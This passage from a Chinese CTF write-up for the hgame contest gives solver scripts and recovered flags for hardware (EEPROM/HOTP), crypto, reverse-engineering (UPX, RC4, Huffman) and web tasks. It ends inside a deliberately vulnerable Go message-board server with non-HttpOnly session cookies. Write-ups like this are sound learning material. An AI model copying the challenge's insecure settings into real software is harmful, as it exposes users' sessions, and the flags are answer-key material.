    if (((bVar9 == 0xbe &amp;amp;&amp;amp; bVar12 == (byte)((bVar9 &amp;lt; 0xbe) + 0xbaU)) &amp;amp;&amp;amp; bVar13 == (byte)(bVar4 - 2U))
        &amp;amp;&amp;amp; puVar16[4] == (char)((bVar13 &amp;lt; 0xfe || (byte)(bVar13 + 2) &amp;lt; bVar4) + -0x36)) {
        cVar10 = &apos;\x1c&apos;;
        puVar14 = &amp;amp;state;
        puVar2 = puVar16 + 5;
        do {
            puVar17 = puVar2 + 1;
            puVar15 = puVar14 + 1;
            *puVar14 = *puVar2;
            cVar10 = cVar10 + -1;
            puVar14 = puVar15;
            puVar2 = puVar17;
        } while (cVar10 != &apos;\0&apos;);
    }
    SREG = (undefined *)0xffdf &amp;lt; puVar16 | (puVar16 == (undefined *)0xffe0) &amp;lt;&amp;lt; 1 |
        ((short)(puVar16 + 0x20) &amp;lt; 0) &amp;lt;&amp;lt; 2 | (SCARRY2((short)(puVar16 + 0x20),0x20) == true) &amp;lt;&amp;lt; 3 |
        ((byte)((short)(puVar16 + 0x20) &amp;lt; 0 ^ SCARRY2((short)(puVar16 + 0x20),0x20)) == 1) &amp;lt;&amp;lt; 4 |
        (cVar5 == &apos;\x01&apos;) &amp;lt;&amp;lt; 5 | (cVar6 == &apos;\x01&apos;) &amp;lt;&amp;lt; 6 | (cVar7 == &apos;\x01&apos;) &amp;lt;&amp;lt; 7;
    sVar3 = CONCAT11((char)((ushort)(puVar16 + 0x20) &amp;gt;&amp;gt; 8),(char)(puVar16 + 0x20));
    return CONCAT11(*(undefined *)(sVar3 + 3),*(undefined *)(sVar3 + 4));
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个&lt;code&gt;EepromData::tryUnserialize&lt;/code&gt;很有用啊，询问ai得到它读取32了字节数据，然后判断了前4字节，把后面28字节取出来。那就是后面28位有用。&lt;/p&gt;
&lt;p&gt;然后继续看&lt;code&gt;EepromData::serialize&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* EepromData::serialize(OtpState const&amp;amp;) [clone .constprop.14] */

undefined2 EepromData::serialize(undefined2 param_1)

{
    ...省略...
    cVar7 = &apos;\0&apos;;
    *unaff_SP = in_R13;
    unaff_SP[-1] = (char)in_R15R14;
    unaff_SP[-2] = (char)((ushort)in_R15R14 &amp;gt;&amp;gt; 8);
    unaff_SP[-3] = (char)param_1;
    unaff_SP[-4] = (char)((ushort)param_1 &amp;gt;&amp;gt; 8);
    unaff_SP[-5] = (char)mem0x001c;
    unaff_SP[-6] = (char)((ushort)mem0x001c &amp;gt;&amp;gt; 8);
    puVar1 = unaff_SP + -7;
    puVar18 = unaff_SP + -0x27;
    cVar4 = in_Hflg == &apos;\x01&apos;;
    cVar5 = in_Tflg == &apos;\x01&apos;;
    cVar6 = in_Iflg == &apos;\x01&apos;;
    SREG = puVar1 &amp;lt; &amp;amp;UNK_mem_0020 | (puVar1 == &amp;amp;UNK_mem_0020) &amp;lt;&amp;lt; 1 |
        ((short)(unaff_SP + -0x27) &amp;lt; 0) &amp;lt;&amp;lt; 2 | (SBORROW2((short)puVar1,0x20) == true) &amp;lt;&amp;lt; 3 |
        ((byte)((short)(unaff_SP + -0x27) &amp;lt; 0 ^ SBORROW2((short)puVar1,0x20)) == 1) &amp;lt;&amp;lt; 4 |
        cVar4 &amp;lt;&amp;lt; 5 | cVar5 &amp;lt;&amp;lt; 6 | cVar6 &amp;lt;&amp;lt; 7;
    uVar13 = 0xba;
    uVar14 = 0xfe;
    uVar17 = 0xca;
    unaff_SP[-0x26] = 0xbe;
    puVar18[2] = uVar13;
    puVar18[3] = uVar14;
    puVar18[4] = uVar17;
    cVar11 = &apos;\x1c&apos;;
    puVar15 = puVar18 + 5;
    puVar20 = &amp;amp;state;
    do {
        puVar19 = puVar20 + 1;
        puVar16 = puVar15 + 1;
        *puVar15 = *puVar20;
        cVar11 = cVar11 + -1;
        puVar15 = puVar16;
        puVar20 = puVar19;
    } while (cVar11 != &apos;\0&apos;);
    bVar12 = 0;
    sVar3 = CONCAT11((char)((ushort)(unaff_SP + -0x27) &amp;gt;&amp;gt; 8),(char)puVar1 + -0x20);
    pbVar9 = puVar18 + 1;
    do {
        pbVar21 = pbVar9 + 1;
        bVar8 = *pbVar9;
        *(undefined2 *)(sVar3 + -1) = 0x847;
        sVar2 = sVar3 + -2;
        uVar10 = eeprom_read_byte();
        if (bVar8 != bVar12) {
            *(undefined2 *)(sVar3 + -3) = 0x84d;
            sVar2 = sVar3 + -4;
            uVar10 = eeprom_write_byte();
        }
        bVar12 = (char)uVar10 + 1;
        sVar3 = sVar2;
        pbVar9 = pbVar21;
    } while (bVar12 != 0x20 ||
             (char)((char)((ushort)uVar10 &amp;gt;&amp;gt; 8) - (((char)uVar10 != -1) + -1)) !=
             (char)(cVar7 + (bVar12 &amp;lt; 0x20)));
    SREG = (undefined *)0xffdf &amp;lt; puVar18 | (puVar18 == (undefined *)0xffe0) &amp;lt;&amp;lt; 1 |
        ((short)(puVar18 + 0x20) &amp;lt; 0) &amp;lt;&amp;lt; 2 | (SCARRY2((short)(puVar18 + 0x20),0x20) == true) &amp;lt;&amp;lt; 3 |
        ((byte)((short)(puVar18 + 0x20) &amp;lt; 0 ^ SCARRY2((short)(puVar18 + 0x20),0x20)) == 1) &amp;lt;&amp;lt; 4 |
        (cVar4 == &apos;\x01&apos;) &amp;lt;&amp;lt; 5 | (cVar5 == &apos;\x01&apos;) &amp;lt;&amp;lt; 6 | (cVar6 == &apos;\x01&apos;) &amp;lt;&amp;lt; 7;
    sVar3 = CONCAT11((char)((ushort)(puVar18 + 0x20) &amp;gt;&amp;gt; 8),(char)(puVar18 + 0x20));
    return CONCAT11(*(undefined *)(sVar3 + 3),*(undefined *)(sVar3 + 4));
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出来这28位分成了8位和20位，那根据sha1要求的20字节，不难得出前8位是&lt;code&gt;secret&lt;/code&gt;,后20位是&lt;code&gt;counter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250209221957408.png&quot; alt=&quot;image-20250209221957408&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个刚刚好和eeprom里面有用的字节对应上了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;92 05 00 00 17 CD 92 3A 32 1C 31 D4 94 54 85 42 44 DE 86 CC 4A B6 DD F4 35 42 90 52&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;counter2&lt;/code&gt;=&lt;code&gt;92 05 00 00 17 CD 92 3A&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;secret2&lt;/code&gt; =&lt;code&gt;32 1C 31 D4 94 54 85 42 44 DE 86 CC 4A B6 DD F4 35 42 90 52&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同时在这里对我有所启发。这边排序的时候先排的是&lt;code&gt;counter2&lt;/code&gt;再排的&lt;code&gt;secret2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那回到前面的数据，&lt;/p&gt;
&lt;p&gt;第一组&lt;code&gt;01 6B 69 4F 7E 03 54 F6 C6 6A B5 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二组&lt;code&gt;00 01 00 00 00 93 7E CD 0D 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第三组&lt;code&gt;02 1A 04 02 1B 1C 6D 7D 45 58 02 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第四组&lt;code&gt;03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果按&lt;code&gt;00&lt;/code&gt;,&lt;code&gt;01&lt;/code&gt;,&lt;code&gt;02&lt;/code&gt;,&lt;code&gt;03&lt;/code&gt;的顺序排序,把不需要的0去掉，好像能提取出来什么东西。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;01 00 00 00 93 7E CD 0D&lt;/code&gt; &lt;code&gt;6B 69 4F 7E 03 54 F6 C6 6A B5 1A 04 02 1B 1C 6D 7D 45 58 02&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第一个是8字节，第二个20字节，刚刚好。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;secret1&lt;/code&gt;=&lt;code&gt;6B 69 4F 7E 03 54 F6 C6 6A B5 1A 04 02 1B 1C 6D 7D 45 58 02&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;counter1&lt;/code&gt;=&lt;code&gt;01 00 00 00 93 7E CD 0D&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所有数据都得到了。&lt;/p&gt;
&lt;h4&gt;3 数据处理和脚本编写&lt;/h4&gt;
&lt;p&gt;根据脚本需要，&lt;code&gt;secret&lt;/code&gt;和&lt;code&gt;counter&lt;/code&gt;分别应该是Base32后的数据和10进制&lt;/p&gt;
&lt;p&gt;因此需要处理一下。&lt;/p&gt;
&lt;p&gt;我提前算好了    &lt;strong&gt;I^2^C协议要求的是高位先行，所以这边十六进制用大端转小端再转十进制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;counter1&lt;/code&gt;=&lt;code&gt;01 00 00 00 93 7E CD 0D&lt;/code&gt;=&lt;code&gt;0DCD7E9300000001&lt;/code&gt;=&lt;code&gt;992224077072691201&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;counter2&lt;/code&gt;=&lt;code&gt;92 05 00 00 17 CD 92 3A&lt;/code&gt;=&lt;code&gt;3A92CD1700000592&lt;/code&gt;=&lt;code&gt;4227023796868324242&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import hmac
import hashlib
import struct

byte_sequence1 = bytes([0x6B, 0x69, 0x4F, 0x7E, 0x03, 0x54, 0xF6, 0xC6, 
                       0x6A, 0xB5, 0x1A, 0x04, 0x02, 0x1B, 0x1C, 0x6D, 
                       0x7D, 0x45, 0x58, 0x02])

byte_sequence2 = bytes([0x32, 0x1C, 0x31, 0xD4, 0x94, 0x54, 0x85, 0x42, 
                        0x44, 0xDE, 0x86, 0xCC, 0x4A, 0xB6, 0xDD, 0xF4, 
                        0x35, 0x42, 0x90, 0x52])

base32_secret1 = base64.b32encode(byte_sequence1).decode(&apos;utf-8&apos;)
base32_secret2 = base64.b32encode(byte_sequence2).decode(&apos;utf-8&apos;)

secret1 = base64.b32decode(base32_secret1.upper()) 
secret2 = base64.b32decode(base32_secret2.upper())

counter1 = 994590262544039937
counter2 = 4220661299467519378

# HOTP 计算函数
def hotp(secret, counter):
    # 计数器转换为字节（8字节，即64位）
    counter_bytes = struct.pack(&quot;&amp;gt;Q&quot;, counter)  # 用大端字节顺序将计数器打包

    # 使用 HMAC-SHA1 来计算哈希
    hmac_hash = hmac.new(secret, counter_bytes, hashlib.sha1).digest()

    # 动态截断提取数字（标准 HOTP 动态截断过程）
    offset = hmac_hash[-1] &amp;amp; 0x0F  # 取哈希的最后一个字节的低四位
    code = struct.unpack(&quot;&amp;gt;I&quot;, hmac_hash[offset:offset+4])[0] &amp;amp; 0x7FFFFFFF  # 取出 4 字节并处理
    return code % 1000000  # 返回一个 6 位数的验证码

x1 = hotp(secret1, counter1)
x2 = hotp(secret1,counter1+9)
y1 = hotp(secret2, counter2+32)
y2 = hotp(secret2,counter2+64)

print(f&quot;hgame{{{x1}_{x2}_{y1}_{y2}}}&quot;)

&apos;&apos;&apos;
hgame{283942_633153_431432_187457}
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{283942_633153_431432_187457}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;1.sieve&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;两种不同孔径的筛子，才能筛干净&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#sage
from Crypto.Util.number import bytes_to_long
from sympy import nextprime

FLAG = b&apos;hgame{xxxxxxxxxxxxxxxxxxxxxx}&apos;
m = bytes_to_long(FLAG)

def trick(k):
    if k &amp;gt; 1:
        mul = prod(range(1,k)) 
        if k - mul % k - 1 == 0:
            return euler_phi(k) + trick(k-1) + 1
        else:
            return euler_phi(k) + trick(k-1)
    else:
        return 1

e = 65537
p = q = nextprime(trick(e^2//6)&amp;lt;&amp;lt;128)
n = p * q
enc = pow(m,e,n)
print(f&apos;{enc=}&apos;)
#enc=2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;听说大家都是ai训练大师&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sage.all import *
from Crypto.Util.number import long_to_bytes
from sympy import nextprime  # 使用 sympy 的 nextprime

# 快速计算 Σ_{i=1}^n euler_phi(i)
def totient_sum(n):
    cache = {}
    def F(n):
        if n in cache:
            return cache[n]
        # 初始和为 n(n+1)//2
        res = n*(n+1) // 2
        i = 2
        while i &amp;lt;= n:
            j = n // (n // i)
            # 将区间 [i, j] 中所有 i 使得 n//i 值相同，一次性扣除
            res -= (j - i + 1) * F(n // i)
            i = j + 1
        cache[n] = res
        return res
    return F(n)

# trick(n) = totient_sum(n) + prime_pi(n)
def trick(n):
    # Sage 内置 prime_pi(n) 计算素数个数
    return totient_sum(n) + prime_pi(n)

e = 65537
s = e**2 // 6
v = trick(s)

# p 固定为：v 左移 128 位后取下一个素数
p = Integer(nextprime(v &amp;lt;&amp;lt; 128))
# q 与 p 相同，因此 n = p^2
n = p * p

# RSA 的 φ(n)= p*(p-1)（因为 n = p^2）
phi_n = p * (p - 1)
d = inverse_mod(e, phi_n)

# 已知密文（来自加密时的输出）
enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546

# 解密计算： m_dec = enc^d mod n
m_dec = power_mod(enc, d, n)
FLAG = long_to_bytes(int(m_dec))
print(FLAG)

&apos;&apos;&apos;
b&apos;hgame{sieve_is_n0t_that_HArd}&apos;
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;1.Compress dot new&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;有时候逆向工程并不需要使用非常复杂的工具：一人、一桌、一电脑、一记事本、一数字帮手足矣。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;def &quot;into b&quot; [] {let arg = $in;0..(( $arg|length ) - 1)|each {|i|$arg|bytes at $i..$i|into int}};def gss [] {match $in {{s:$s,w:$w} =&amp;gt; [$s],{a:$a,b:$b,ss:$ss,w:$w} =&amp;gt; $ss}};def gw [] {match $in {{s:$s,w:$w} =&amp;gt; $w,{a:$a,b:$b,ss:$ss,w:$w} =&amp;gt; $w}};def oi [v] {match $in {[] =&amp;gt; [$v],[$h,..$t] =&amp;gt; {if $v.w &amp;lt; $h.w {[$v,$h] ++ $t} else {[$h] ++ ($t|oi $v)}}}};def h [] {match $in {[] =&amp;gt; [],[$n] =&amp;gt; $n,[$f,$sn,..$r] =&amp;gt; {$r|oi {a:$f,b:$sn,ss:(($f|gss) ++ ($sn|gss)),w:(($f|gw) + ($sn|gw))}|h}}};def gc [] {def t [nd, pth, cd] {match $nd {{s:$s,w:$_} =&amp;gt; ($cd|append {s:$s,c:$pth}),{a:$a,b:$b,ss:$_,w:$_} =&amp;gt; {t $b ($pth|append 1) (t $a ($pth|append 0) $cd)}}};t $in [] []|each {|e|{s:$e.s,cs:($e.c|each {|c|$c|into string}|str join)}}};def sk [] {match $in {null =&amp;gt; null,{s:$s,w:$_} =&amp;gt; {s:$s},{a:$a,b:$b,ss:$_,w:$_} =&amp;gt; {a:($a|sk),b:($b|sk)}}};def bf [] {$in|into b|reduce -f (0..255|reduce -f [] {|i,a|$a|append 0}) {|b,a|$a|update $b (($a|get $b) + 1)}|enumerate|filter {|e|$e.item &amp;gt; 0}|each {|e|{s:$e.index,w:$e.item}}};def enc [cd] {$in|into b|each {|b|$cd|filter {|e|$e.s == $b}|first|get &quot;cs&quot;}|str join};def compress []: binary -&amp;gt; string {let t = $in|bf|h;[($t|sk|to json --raw), ($in|enc ($t|gc))]|str join &quot;\n&quot;}

# source compress.nu; open ./flag.txt --raw | into binary | compress | save enc.txt

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.nushell.sh/&quot;&gt;Nushell&lt;/a&gt;  第一次见这种语言，好玩。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json

def decode_huffman(encoded_data, tree):
    result = bytearray()
    current = tree
    
    for bit in encoded_data:
        # 根据0/1选择路径
        current = current[&apos;a&apos;] if bit == &apos;0&apos; else current[&apos;b&apos;]
        
        # 如果到达叶子节点
        if &apos;s&apos; in current:
            result.append(current[&apos;s&apos;])
            current = tree
            
    return result

def main():

    with open(&apos;enc.txt&apos;, &apos;r&apos;) as f:
        tree = json.loads(f.readline())  # 第一行是JSON树
        encoded_data = f.readline().strip()  # 第二行是编码数据
    
    # 解码数据
    decoded = decode_huffman(encoded_data, tree)
    
    # 写入结果
    with open(&apos;flag.txt&apos;, &apos;wb&apos;) as f:
        f.write(decoded)

if __name__ == &apos;__main__&apos;:
    main()
    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag.txt&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&amp;amp;-use!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;后面的&lt;code&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla nec ligula neque. Etiam et viverra nunc, vel bibendum risus. Donec.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;不知道是什么&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210010324581.png&quot; alt=&quot;image-20250210010324581&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.Turtle&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;addr3s5今天从花鸟市场买了一只小乌龟，但是这只小乌龟很怕生，一直缩在龟壳里，喂它食物它也不吃，addr3s5很是烦恼，你能帮帮他吗&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;乌龟嘛，乌龟有啥，有壳呗，有的兄弟，有的&lt;/p&gt;
&lt;p&gt;所以要脱壳。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/sirrior/article/details/134597589&quot;&gt;upx手动脱壳学习笔记&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我参考的是这篇博客。&lt;/p&gt;
&lt;p&gt;把脱壳过的exe丢到IDA里面去看看，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210010712366.png&quot; alt=&quot;image-20250210010712366&quot; /&gt;&lt;/p&gt;
&lt;p&gt;逮着&lt;code&gt;ctrl+X&lt;/code&gt;打开&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 sub_401876()
{
    _BYTE v1[256]; // [rsp+20h] [rbp-60h] BYREF
    _BYTE v2[48]; // [rsp+120h] [rbp+A0h] BYREF
    char v3[46]; // [rsp+150h] [rbp+D0h] BYREF
    _BYTE v4[5]; // [rsp+17Eh] [rbp+FEh] BYREF
    _BYTE v5[2]; // [rsp+183h] [rbp+103h] BYREF
    char v6[8]; // [rsp+185h] [rbp+105h] BYREF
    _BYTE v7[8]; // [rsp+18Dh] [rbp+10Dh] BYREF
    char v8[7]; // [rsp+195h] [rbp+115h] BYREF
    unsigned int v9; // [rsp+19Ch] [rbp+11Ch]
    unsigned int v10; // [rsp+1A0h] [rbp+120h]
    int v11; // [rsp+1A4h] [rbp+124h]
    int v12; // [rsp+1A8h] [rbp+128h]
    unsigned int v13; // [rsp+1ACh] [rbp+12Ch]

    sub_401C20();
    strcpy(v8, &quot;yekyek&quot;);
    v4[0] = -51;
    v4[1] = -113;
    v4[2] = 37;
    v4[3] = 61;
    v4[4] = -31;
    qmemcpy(v5, &quot;QJ&quot;, sizeof(v5));
    v2[0] = -8;
    v2[1] = -43;
    v2[2] = 98;
    v2[3] = -49;
    v2[4] = 67;
    v2[5] = -70;
    v2[6] = -62;
    v2[7] = 35;
    v2[8] = 21;
    v2[9] = 74;
    v2[10] = 81;
    v2[11] = 16;
    v2[12] = 39;
    v2[13] = 16;
    v2[14] = -79;
    v2[15] = -49;
    v2[16] = -60;
    v2[17] = 9;
    v2[18] = -2;
    v2[19] = -29;
    v2[20] = -97;
    v2[21] = 73;
    v2[22] = -121;
    v2[23] = -22;
    v2[24] = 89;
    v2[25] = -62;
    v2[26] = 7;
    v2[27] = 59;
    v2[28] = -87;
    v2[29] = 17;
    v2[30] = -63;
    v2[31] = -68;
    v2[32] = -3;
    v2[33] = 75;
    v2[34] = 87;
    v2[35] = -60;
    v2[36] = 126;
    v2[37] = -48;
    v2[38] = -86;
    v2[39] = 10;
    v13 = 6;
    v12 = 7;
    v11 = 40;
    sub_403068(aPlzInputTheKey);
    sub_403058(&quot;%s&quot;, v6);
    sub_403048(v7, v6);
    v10 = 7;
    sub_401550(v8, v13, v1);
    sub_40163E(v6, v10, v1);
    if ( (unsigned int)sub_403078(v6, v4, v12) )
    {
        sub_403060(aKeyIsWrong);
    }
    else
    {
        sub_403068(aPlzInputTheFla);
        sub_403058(&quot;%s&quot;, v3);
        v9 = 40;
        sub_401550(v7, v10, v1);
        sub_40175A(v3, v9, v1);
        if ( (unsigned int)sub_403078(v3, v2, v11) )
            sub_403060(aWrongPlzTryAga);
        else
            sub_403060(aCongratulate);
    }
    return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rc4(key, length):
    &quot;&quot;&quot;
    RC4 keystream generator.
    key: list of integers (each 0-255)
    length: number of keystream bytes to generate.
    &quot;&quot;&quot;
    S = list(range(256))
    j = 0
    key_len = len(key)
    # Key Scheduling Algorithm (KSA)
    for i in range(256):
        j = (j + S[i] + key[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    i = 0
    j = 0
    stream = []
    # Pseudo-Random Generation Algorithm (PRGA)
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        stream.append(S[(S[i] + S[j]) % 256])
    return stream

def main():
    # Step 1: Compute RC4 keystream for the key &quot;yekyek&quot; (6 bytes) to process the user key.
    fixed_key = b&quot;yekyek&quot;  # 6 bytes from v11 (&quot;yekyek&quot;)
    keystream = rc4(list(fixed_key), 7)
    
    # Step 2: The expected result (combining v7 and v8) is:
    # v7: [-51, -113, 37, 61, -31] -&amp;gt; in unsigned: 205, 143, 37, 61, 225
    # v8: &quot;QJ&quot; -&amp;gt; ascii: 81, 74
    expected_processed = [205, 143, 37, 61, 225, 81, 74]
    
    # Step 3: Since sub_40163E is the RC4 PRGA XORing bytes,
    # original user key can be computed as:
    #   original_key = expected_processed XOR keystream
    user_key = bytes([expected_processed[i] ^ keystream[i] for i in range(7)])
    try:
        user_key_str = user_key.decode(&apos;utf-8&apos;)
    except UnicodeDecodeError:
        user_key_str = user_key.hex()
    print(&quot;Recovered user key (input key):&quot;, user_key_str)
    
    # Step 4: For flag decryption, the key is the copy of user key stored in v10.
    # (We assume sub_403048 is a memcpy so that v10 == user_key.)
    key_for_flag = list(user_key)  # List of integers; expected length 7.
    
    # The encrypted flag (40 bytes) are stored in v5:
    encrypted_flag = [
        248, 213, 98, 207, 67, 186, 194, 35, 21, 74,
        81, 16, 39, 16, 177, 207, 196, 9, 254, 227,
        159, 73, 135, 234, 89, 194, 7, 59, 169, 17,
        193, 188, 253, 75, 87, 196, 126, 208, 170, 10
    ]
    
    # Before decrypting the flag, the program reinitializes the RC4 state using the key from v10.
    # We generate the RC4 keystream for a length equal to the flag length.
    keystream_flag = rc4(key_for_flag, len(encrypted_flag))
    
    # The flag encryption subtracts the keystream mod 256 so we reverse it by adding.
    flag_bytes = bytes([(encrypted_flag[i] + keystream_flag[i]) % 256 for i in range(len(encrypted_flag))])
    
    try:
        flag_str = flag_bytes.decode(&apos;utf-8&apos;)
    except UnicodeDecodeError:
        flag_str = flag_bytes.hex()
    
    print(&quot;Decrypted flag:&quot;, flag_str)

if __name__ == &apos;__main__&apos;:
    main()
    
&apos;&apos;&apos;
Recovered user key (input key): ecg4ab6
Decrypted flag: hgame{Y0u&apos;r3_re4l1y_g3t_0Ut_of_th3_upX!}
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{Y0u&apos;r3_re4l1y_g3t_0Ut_of_th3_upX!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;1.Level 24 Pacman&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;不安全 | 正在勘探中 | 实体数量已知&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你来到了一处似曾相识的场景，但你想不起来这是什么。 你头疼欲裂，想要找到一个出口，却发现前路上只有无尽的光点，还有看起来像是结束乐队的四个小不点，向你缓缓走来.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;你的目标是，在被他们抓住之前，收集一万枚金币，离开这个地方。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. WASD或者上下左右均可以移动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. SPACE键可以暂停游戏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 你有五次机会。在此之前，努力逃吧！&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/blockquote&gt;
&lt;p&gt;祝你好运，朋友。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在index.js里面&lt;/p&gt;
&lt;p&gt;&lt;code&gt;here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;-&amp;gt;&lt;code&gt;haepaiemkspretgm{rtc_ae_efc}&lt;/code&gt;(base64)&lt;/p&gt;
&lt;p&gt;-&amp;gt;&lt;code&gt;hgame{pratice_makes_perfect}&lt;/code&gt; (fence 2)&lt;/p&gt;
&lt;p&gt;然后你就可以获得&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210011838647.png&quot; alt=&quot;image-20250210011838647&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;-&amp;gt;&lt;code&gt;haeu4epca_4trgm{_r_amnmse}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;-&amp;gt;&lt;code&gt;hgame{u_4re_pacman_m4ster}&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{u_4re_pacman_m4ster}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.Level 69 MysteryMessageBoard&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;在一个昏暗的空间里，存在着一块神秘的留言板，挂在虚拟墙壁上，仿佛可以窥见外界的光明。每一条信息都能带来不同的后果，但它们都被一个神秘的管理者所审视，这位管理者决定了谁能够通过这扇门，谁将永远被困在这片虚拟的牢笼中。&lt;/p&gt;
&lt;p&gt;这块留言板被某种看不见的力量所控制，留言的内容似乎会触发某种仪式，每个输入的字符都充满了未知的能量。输入者的每一句话，都可能成为被审视的焦点，甚至引发一种奇异的变化，仿佛信息的力量能够改变现实，带着留言者穿越虚拟与真实的边界。&lt;/p&gt;
&lt;p&gt;这块留言板上的秘密，正等待着被揭开&lt;/p&gt;
&lt;p&gt;（容器内端口为8888）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;题目给了源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
    &quot;context&quot;
    &quot;fmt&quot;
    &quot;github.com/chromedp/chromedp&quot;
    &quot;github.com/gin-gonic/gin&quot;
    &quot;github.com/gorilla/sessions&quot;
    &quot;log&quot;
    &quot;net/http&quot;
    &quot;sync&quot;
    &quot;time&quot;
)

var (
    store = sessions.NewCookieStore([]byte(&quot;fake_key&quot;))
    users = map[string]string{
        &quot;shallot&quot;: &quot;fake_password&quot;,
        &quot;admin&quot;:   &quot;fake_password&quot;}
    comments []string
    flag     = &quot;FLAG{this_is_a_fake_flag}&quot;
    lock     sync.Mutex
)

func loginHandler(c *gin.Context) {
    username := c.PostForm(&quot;username&quot;)
    password := c.PostForm(&quot;password&quot;)
    if storedPassword, ok := users[username]; ok &amp;amp;&amp;amp; storedPassword == password {
        session, _ := store.Get(c.Request, &quot;session&quot;)
        session.Values[&quot;username&quot;] = username
        session.Options = &amp;amp;sessions.Options{
            Path:     &quot;/&quot;,
            MaxAge:   3600,
            HttpOnly: false,
            Secure:   false,
        }
        session.Save(c.Request, c.Writer)
        c.String(http.StatusOK, &quot;success&quot;)
        return
    }
    log.Printf(&quot;Login failed for user: %s\n&quot;, username)
    c.String(http.StatusUnauthorized, &quot;error&quot;)
}
func logoutHandler(c *gin.Context) {
    session, _ := store.Get(c.Request, &quot;session&quot;)
